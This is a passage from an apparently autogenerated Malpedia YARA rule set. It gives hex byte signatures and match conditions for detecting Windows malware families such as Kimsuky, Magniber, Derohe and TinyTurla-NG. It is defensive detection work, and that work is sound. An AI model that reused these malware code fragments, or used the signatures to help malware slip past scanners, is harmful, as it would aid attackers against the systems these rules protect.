		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beatdrop_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "b158347b6f43a3a62739d069377789597416764bca18afcdaffdbcf2df1f7202"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 47339c8d000c0000 413384bd00080000 4133948d00080000 44335d60 0fb6d8 0fb6cc 4189d1 }
		$sequence_1 = { 33557c 413384bd000c0000 4489cf 334578 41c1eb18 }
		$sequence_2 = { 443385a4000000 450fb6d2 4733849500040000 450fb6d7 }
		$sequence_3 = { 4c3b6610 740f 4c89e1 e8???????? }
		$sequence_4 = { 4409c8 4133470c 448b7c2418 89aef8000000 }
		$sequence_5 = { 47338495000c0000 4189c2 0fb6cd 41c1ea10 443385a4000000 450fb6d2 4733849500040000 }
		$sequence_6 = { c1ea10 338590000000 458b74b500 4489c1 0fb6d2 }
		$sequence_7 = { 41c1ef18 0fb6cd 44897c2418 894c2404 89c1 0fb6c0 c1e918 }
		$sequence_8 = { c1e818 4489d1 450fb6da 418b448500 41338495000c0000 }
		$sequence_9 = { 4133948c00080000 89c1 0fb6ef 440fb6c2 }
	condition:
		7 of them and filesize < 584704
}

rule MALPEDIA_Win_Kimsuky_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2b35147a-6567-5a82-9763-3c4ee63e8bd0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimsuky_auto.yar#L1-L287"
		license_url = "N/A"
		logic_hash = "8be5626e2aa4b8842ccf79ecee20f7ed9aeff1f3bf60d56bf491e7076e9910d9"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85f8feffff 6804010000 50 e8???????? 8d85f0fcffff }
		$sequence_1 = { ffd7 a3???????? 8d85ecfbffff 50 53 ffd7 }
		$sequence_2 = { 6a00 6800f70484 6a00 6a00 68???????? 8d85e4fbffff 50 }
		$sequence_3 = { ff15???????? 3db7000000 7503 56 eb18 6a00 }
		$sequence_4 = { 8d95f0fcffff b9???????? e8???????? 8d95ecfbffff b9???????? }
		$sequence_5 = { ff15???????? 8d85ecfbffff 50 8d85f8feffff 50 8d85f4fdffff 68???????? }
		$sequence_6 = { e8???????? 83c418 8d85f8feffff 6a00 50 ff15???????? 8d85ecfbffff }
		$sequence_7 = { ff15???????? 85c0 7516 ff15???????? 8bd8 e8???????? }
		$sequence_8 = { ffd7 a3???????? 8d85d4f5ffff 50 }
		$sequence_9 = { 8b4520 4883c514 85c0 0f857affffff 4c8b7c2460 4c8b6c2420 4c8b642428 }
		$sequence_10 = { 4156 4157 4883ec40 48896c2470 }
		$sequence_11 = { 48896c2460 488b4818 41bb01000000 4c8b7120 4d85f6 }
		$sequence_12 = { 33d2 4883c9ff 4903de ff542468 4533c0 498bce }
		$sequence_13 = { 488b6c2460 4c637d3c 33c9 41b800300000 4c03fd 448d4940 }
		$sequence_14 = { 48896c2470 4889742438 4533ff 4c89642428 4c896c2420 33f6 }
		$sequence_15 = { 7405 48ffcd ebdb 65488b042560000000 48897c2430 48896c2460 }
		$sequence_16 = { 85c9 0f8494020000 89bda0000000 897d30 }
		$sequence_17 = { 89442450 8bf0 8bc8 e8???????? }
		$sequence_18 = { 85c0 0f84b3000000 85f6 0f8497000000 }
		$sequence_19 = { 85c0 0f84e6000000 c6850801000000 33c0 }
		$sequence_20 = { 4c89642430 c744242880000000 c744242002000000 4533c9 4533c0 ba00000040 }
		$sequence_21 = { 8bcf 85c0 0f94c1 85c9 }
		$sequence_22 = { 488d8a38000000 e9???????? 488d8a28010000 e9???????? }
		$sequence_23 = { 895c2458 eb04 8b5c2458 c685700d000000 33d2 }
		$sequence_24 = { 8bd7 3bd8 0f94c2 85d2 7419 }
		$sequence_25 = { 488d95003e0000 488bc8 e8???????? 90 }
		$sequence_26 = { 488d9510010000 488d4dc0 e8???????? 90 }
		$sequence_27 = { 488d9510010000 498bce ff15???????? 498bce }
		$sequence_28 = { 488d9500010000 4883bd1801000008 480f439500010000 4c8d05c2850500 }
		$sequence_29 = { 488d9424c0000000 4883bc24d800000008 480f439424c0000000 48895c2438 c744243000f70484 48895c2428 }
		$sequence_30 = { 488d9508010000 488d4c2440 e8???????? 90 488b542458 }
	condition:
		7 of them and filesize < 1021952
}

rule MALPEDIA_Win_Sedll_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c98327c8-f977-5098-aace-6f65383d00ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sedll_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "df74daada1e394daccd88b8caf7c67ee5c703bfd5e5886cc476e5ba06e59b034"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff75fc f30f7f45dc 6a00 6a00 6a00 }
		$sequence_1 = { 741e 8bd3 8d4a01 8d642400 8a02 }
		$sequence_2 = { 5e 8908 33c0 5d c20c00 8b4510 33c9 }
		$sequence_3 = { 8d55f8 52 c745f800000000 68???????? 8b08 50 ff11 }
		$sequence_4 = { 7412 f30f6f05???????? 8b4520 f30f7f00 830e04 f6c101 7426 }
		$sequence_5 = { 83c604 83ef04 73ef 8b4d08 8b4510 51 8908 }
		$sequence_6 = { 8bf0 83c404 8975e8 85f6 7507 5f }
		$sequence_7 = { 7c7e 8d9b00000000 0fb60f 83c604 c1e902 }
		$sequence_8 = { 50 8b4508 03c6 50 53 ff15???????? 85c0 }
		$sequence_9 = { 884e01 885602 83c603 33c9 47 3bfb }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Artra_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5ecf739d-5644-589e-9019-73f6778eda0f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artra_auto.yar#L1-L273"
		license_url = "N/A"
		logic_hash = "47a80b3adb8b5b5a6473fc70d14da7afeb3a861c9b53c6c23d484145a04e805d"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75cc 5d 5b 8b442410 5f 5e 83c41c }
		$sequence_1 = { 5f 8a08 40 84c9 75f9 2bc2 880c30 }
		$sequence_2 = { 5f 5e 83c41c c21000 5f 33c0 }
		$sequence_3 = { 57 33c9 8d7801 8da42400000000 8a10 40 84d2 }
		$sequence_4 = { 2bc7 3bc8 72e3 8bc6 8d5001 5f }
		$sequence_5 = { 800431f3 8bc6 41 8d7801 8d9b00000000 }
		$sequence_6 = { e8???????? 8b3d???????? 6a00 6a00 6a00 8d442414 }
		$sequence_7 = { ff15???????? 8bf8 85ff 0f8488000000 6a00 57 ff15???????? }
		$sequence_8 = { 8d8c2420010000 51 8d542418 52 8d442420 50 }
		$sequence_9 = { 2bc2 03fb 8a4f01 47 }
		$sequence_10 = { 40 42 84c9 75f6 e8???????? }
		$sequence_11 = { 8bf0 8bd1 83c404 2bf2 90 8a11 88140e }
		$sequence_12 = { 90 8b542410 8d4c2410 51 56 52 ffd3 }
		$sequence_13 = { 53 8b1d???????? 55 8b2d???????? 90 }
		$sequence_14 = { e8???????? 8d442458 83c410 8bc8 }
		$sequence_15 = { 6a00 8d54241c 52 ffd7 85c0 75cc 5d }
		$sequence_16 = { 6a00 8d442414 50 ffd7 85c0 7445 }
		$sequence_17 = { 7205 e8???????? 8b7c2414 8b4f3c 8b11 8b5214 8d44241c }
		$sequence_18 = { 2c61 3c05 7733 885c2c18 45 83fd02 7529 }
		$sequence_19 = { 8810 40 83ee01 75f3 b8???????? c6042f00 8d5001 }
		$sequence_20 = { c1f805 8bcf 83e11f c1e106 8b0485e03b4100 c644080401 57 }
		$sequence_21 = { c21000 a1???????? 6a00 68???????? 56 6a67 50 }
		$sequence_22 = { 6a6d 56 ff15???????? be???????? 8bf8 e8???????? }
		$sequence_23 = { c744241430124000 c744241800000000 c744241c00000000 89442420 ffd6 68007f0000 6a00 }
		$sequence_24 = { 8b2d???????? 8b442410 8d542410 52 57 50 ffd3 }
		$sequence_25 = { 8b542428 50 68???????? 6a01 }
	condition:
		7 of them and filesize < 811008
}

rule MALPEDIA_Win_Magniber_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2010ff15-6b80-529a-a5cd-f6820259a96c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magniber_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "40cc2b100a2166758d1bade12df1107c6219e6f30fc93c01403c3eb3fe63bfd1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c78514fdffff38994000 c78518fdffff40994000 c7851cfdffff48994000 c78520fdffff54994000 c78524fdffff60994000 c78528fdffff68994000 }
		$sequence_1 = { 83c404 8945fc 837dfc00 0f84d7000000 68???????? 8b45fc }
		$sequence_2 = { 8b45f8 8b8c8548ffffff 51 8b55f0 52 }
		$sequence_3 = { 0f8462010000 8b55ec 52 ff15???????? 83f801 }
		$sequence_4 = { c785fcfcffff08994000 c78500fdffff10994000 c78504fdffff18994000 c78508fdffff20994000 c7850cfdffff28994000 c78510fdffff30994000 }
		$sequence_5 = { 7505 e9???????? 8b4df8 3b4df0 7307 }
		$sequence_6 = { 6a00 6a03 6800000080 8b4d10 51 }
		$sequence_7 = { 55 8bec 51 8b4508 83b86804000000 741b 8b4d08 }
		$sequence_8 = { d331 4e4e54 70ac 52 f8 a6 }
		$sequence_9 = { 097934 50 5e 5a 3558e9e633 }
		$sequence_10 = { bb72657959 a1????????ba30f7a3 873428 de9d164df944 ee aa }
		$sequence_11 = { 7f4c c82cd1c6 1a32 b636 }
		$sequence_12 = { 21746c2e 4834b0 184026 e221 a1????????05eef081 e0f8 }
		$sequence_13 = { 4baa 055457541d e9???????? bc12819787 bbdd81d473 ba2326dc05 645f }
		$sequence_14 = { 32cb 5a b3b1 3e6c 21746c2e 4834b0 184026 }
		$sequence_15 = { 283d98b7a0e5 7f9b 0b733e fd 6acb 199335632362 }
	condition:
		7 of them and filesize < 117760
}

rule MALPEDIA_Win_Unidentified_118_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4400b473-0fbc-528a-90a2-ec9f1b80742d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_118"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_118_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "d467c02dd84dc6cead16168800c63f7f296242b2a484c5237404056a67dd88cf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f57c0 c60300 41b820000000 0f1101 4883611000 488bd6 4883611800 }
		$sequence_1 = { e8???????? 84c0 7409 488933 c6430800 eb79 48b8e1e1e1e1e1e1e101 }
		$sequence_2 = { 84c0 740c 817c243000400000 7502 }
		$sequence_3 = { 488bc3 488b4d07 4833cc e8???????? 4881c4b8000000 415f 415e }
		$sequence_4 = { 488b49f8 482bc1 4883c0f8 4883f81f 7721 e8???????? 8bc3 }
		$sequence_5 = { 7747 e8???????? 660f6f05???????? f30f7f4527 c6451700 807de700 7409 }
		$sequence_6 = { 0f45fd 488bce e8???????? 488b4c2430 e8???????? }
		$sequence_7 = { 488d4c2460 ffd2 90 e9???????? 0f57c0 0f1145f0 0f57c9 }
		$sequence_8 = { e8???????? 4c8b4c2450 4c8bc3 488bd7 488bce }
		$sequence_9 = { 488b49f8 482bc1 4883c0f8 4883f81f 0f87d8000000 e8???????? 483bfe }
	condition:
		7 of them and filesize < 413696
}

rule MALPEDIA_Win_Derohe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4840f450-01b9-530f-9f3a-ae1edecbe97a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derohe_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d33bdd1d4e902dd1e401bdb13051180ed9ff9ef53abcf198b2156206eaf60cc4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 8b542404 c6042443 8b02 ffd0 8b542404 c60424c9 }
		$sequence_1 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424b7 }
		$sequence_2 = { e8???????? 5a 85c0 0f846b050000 8b742428 31c0 8b1f }
		$sequence_3 = { ffd0 8b542404 c60424fe 8b02 ffd0 8b542404 c6042424 }
		$sequence_4 = { ffd0 8b542404 c60424d4 8b02 ffd0 8b542404 c6042464 }
		$sequence_5 = { ffd0 8b542404 c60424ae 8b02 ffd0 8b542404 c6042435 }
		$sequence_6 = { ff702c ff15???????? 0fb7431c 897318 83e00a 83c410 6683f80a }
		$sequence_7 = { ffd0 8b542404 c604245f 8b02 ffd0 8b542404 c60424f5 }
		$sequence_8 = { ffd0 8b542404 c60424ba 8b02 ffd0 8b542404 c60424c5 }
		$sequence_9 = { e8???????? 8b542414 8b4318 2982d4000000 8b4718 89c1 81e110900000 }
	condition:
		7 of them and filesize < 35788800
}

rule MALPEDIA_Win_Collection_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ee99e95c-7900-562e-8613-68183d72bbe0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collection_rat_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "4a525a556c647435c47597aca6c93f4c0c1ae69ffb1c4982506b53b4f472dc0c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4885d2 740b 41b001 488bce e8???????? e8???????? }
		$sequence_1 = { 8d7e78 448bc3 8bd7 e8???????? 448bce 4c8d442440 8d5601 }
		$sequence_2 = { 488bce e8???????? e8???????? 488bc8 baa3000000 e8???????? 488b8f80000000 }
		$sequence_3 = { bf18000000 448bc7 33d2 488d8c24a8000000 e8???????? 89bc24a8000000 c78424b800000001000000 }
		$sequence_4 = { 410fb7cc eb4a 80f92b 7507 b93e000000 eb3e }
		$sequence_5 = { e8???????? eb27 488b5950 e8???????? 488bc8 ba98000000 e8???????? }
		$sequence_6 = { c3 418bc4 ebdc 4885d2 0f84aa020000 48895c2408 57 }
		$sequence_7 = { 488b4c2470 e8???????? eb14 89442420 4533c9 4533c0 }
		$sequence_8 = { 4183e801 7429 4183e801 741e 4183e801 740f 4183f801 }
		$sequence_9 = { 4883ec20 4c8b7150 488bd9 b900100000 }
	condition:
		7 of them and filesize < 397312
}

rule MALPEDIA_Win_C0D0So0_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aea7e5c4-8703-5b4f-a55a-e1b218098e9e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.c0d0so0_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "0dd75833152df4b63946cc86c2ac389a4374b8155ffb49a46f2ef69869ec191b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a04 bf00200000 57 ff7350 ff7334 ffd6 }
		$sequence_1 = { 837d0c00 7404 0006 eb02 2806 0fb6c0 }
		$sequence_2 = { ff15???????? eb46 8d0c4e 8d0c4f }
		$sequence_3 = { ff15???????? 85c0 7423 6683780802 }
		$sequence_4 = { 33c0 5d c3 8b503c 813c1050450000 75f0 8bd7 }
		$sequence_5 = { 7421 8345f814 8b45f8 6a14 83c0f0 50 }
		$sequence_6 = { c1ea10 ff4dfc 8813 43 837dfc00 7fe7 8b5508 }
		$sequence_7 = { 741f 4a 7417 4a 740f }
		$sequence_8 = { eb62 8d45f4 50 57 8d45fc }
		$sequence_9 = { 85c0 740f 8b00 47 89048e 41 }
	condition:
		7 of them and filesize < 450560
}

rule MALPEDIA_Win_Jimmy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "571698ec-d0cc-5f2f-93fe-935369535da3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jimmy_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "4dcefc186990b0fab3b8fbf45f928a3141684ff216c800369029d79b753cf37a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 83c40c 85c0 7460 e8???????? }
		$sequence_1 = { 32c0 eb6f 8b45e8 2b45f0 }
		$sequence_2 = { e8???????? 59 668945f2 ff750c e8???????? 59 }
		$sequence_3 = { 8b4dec 0fbe09 3bc1 755b }
		$sequence_4 = { c745fc12030900 e9???????? 837de805 752c ff75e4 }
		$sequence_5 = { 81ec40020000 c685cbfdffff01 6a00 6a02 e8???????? }
		$sequence_6 = { 8d840004010000 50 e8???????? 59 89856cfeffff ff7508 }
		$sequence_7 = { eb12 8b45f8 c6805001000001 33c0 0f855effffff 8b45f8 c9 }
		$sequence_8 = { 59 59 ff75f4 e8???????? 59 ff75f8 }
		$sequence_9 = { 8b45f8 8945f4 8b450c 8945fc }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Mqsttang_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0fcd67af-429a-5d69-a3b0-3220fad637de"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mqsttang_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "11a5ef4fb125e32dd68c79670f73b1f4916ce31a149e2ff34e91c4e49e4be013"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ebd4 ebf3 8d4dcc 89c3 e8???????? ebc6 ebe5 }
		$sequence_1 = { f20f105dd8 f20f1065e0 f20f115db8 f20f1165b0 0f87a9000000 890c24 89d9 }
		$sequence_2 = { ebec 8b95e4baffff 29ca 83fa02 0f8e87f7ffff 668b4004 6683f83d }
		$sequence_3 = { eb0f f6c220 7413 8365081f 837d0801 7420 43 }
		$sequence_4 = { ff15???????? 891c24 89442404 89c6 c745d402000000 c745d800000000 c745dc00000000 }
		$sequence_5 = { eb16 8b5604 83c301 8b4208 8b4a0c 29c1 39d9 }
		$sequence_6 = { f0832a01 742b 8b542420 8b0a 85c9 7451 83f9ff }
		$sequence_7 = { f0832801 0f84231b0000 8b4588 8b4010 8b10 85d2 0f84f01a0000 }
		$sequence_8 = { c7042400000000 b903000000 ba21000000 89d8 e8???????? 85c0 0f84db000000 }
		$sequence_9 = { e8???????? 8985bcfeffff e9???????? 8b4508 8b95fcfeffff 8b4874 8b85f8feffff }
	condition:
		7 of them and filesize < 12651520
}

rule MALPEDIA_Win_Evilpony_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ac551db8-0573-5b4c-8b60-da95879223db"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilpony_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "0bf858d26f7e4c261dccce71f7e0ab87c5f711b7c43013273d044a5073bd8d2b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff74242c ff750c 53 e8???????? 83c418 85c0 7488 }
		$sequence_1 = { 8d442420 50 ff742420 897c242c bbff070000 57 eb50 }
		$sequence_2 = { 897df8 397df4 7654 3bf7 7450 8b4668 6aff }
		$sequence_3 = { ff15???????? 8bd8 85db 747c 8bc6 }
		$sequence_4 = { 837c241c05 750b 53 e8???????? 59 89442428 }
		$sequence_5 = { ff75fc 8bf8 ff15???????? 85c0 7411 56 57 }
		$sequence_6 = { 8d55b8 52 6a10 897dfc 8b08 50 ff510c }
		$sequence_7 = { 50 ffd6 83c410 8d8564ffffff 50 ffb500ffffff ffd7 }
		$sequence_8 = { 85c0 0f8485000000 8365f400 eb06 8b5d08 8b450c 8b0b }
		$sequence_9 = { 33c5 8945f8 8b450c 8985f0f7ffff }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Jasus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b02d02a-6c2f-5b7d-a1b9-9adc3f6ec692"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jasus_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "b14ad9069299f53695d1925d28e19a4f9144d4135d3ef376cb647d76db2503c7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 663915???????? 0f8730020000 663915???????? 0f8723020000 663915???????? 0f8716020000 663915???????? }
		$sequence_1 = { 740f 50 68???????? 56 e8???????? 83c40c 8b45f0 }
		$sequence_2 = { e8???????? 8b54241c 8bf0 80bb8000000000 c6432d00 7412 }
		$sequence_3 = { 8bcb 2b4e14 2bc2 3bc8 744e 8b4df8 85c9 }
		$sequence_4 = { 8d7b1e e8???????? 84c0 7437 a1???????? 8b55f8 }
		$sequence_5 = { c3 56 33f6 85db 0f889d000000 57 8bf8 }
		$sequence_6 = { 7474 833b00 756f f644242c01 668954242e 750a }
		$sequence_7 = { 8b8534feffff 668955c4 8b958cfeffff 6a02 }
		$sequence_8 = { c1f905 8b0c8d809d4300 c1e006 8d440104 800820 8b4df4 b8000000c0 }
		$sequence_9 = { 68???????? e8???????? 8b8df8feffff 83c448 51 ff15???????? 83c404 }
	condition:
		7 of them and filesize < 507904
}

rule MALPEDIA_Win_Tinyturla_Ng_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "237c3b29-3ffe-58e0-8377-deec3f9ada49"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyturla_ng"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyturla_ng_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "053b5083da44c3f040d79aabaeaa3be9af43dd91f5cebec175c4332c307fa8d0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4881ec90000000 488b05???????? 4833c4 4889451f 488bda 488bf1 }
		$sequence_1 = { 488bcf e8???????? 33c9 eb15 }
		$sequence_2 = { 488d7027 4883e6e0 488946f8 eb36 b816000000 483bf8 480f42f8 }
		$sequence_3 = { c60600 8b87b8020000 8987b4020000 8b8fb4020000 ff15???????? 80bfcc02000000 0f8579fdffff }
		$sequence_4 = { 85c0 0f8572010000 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 }
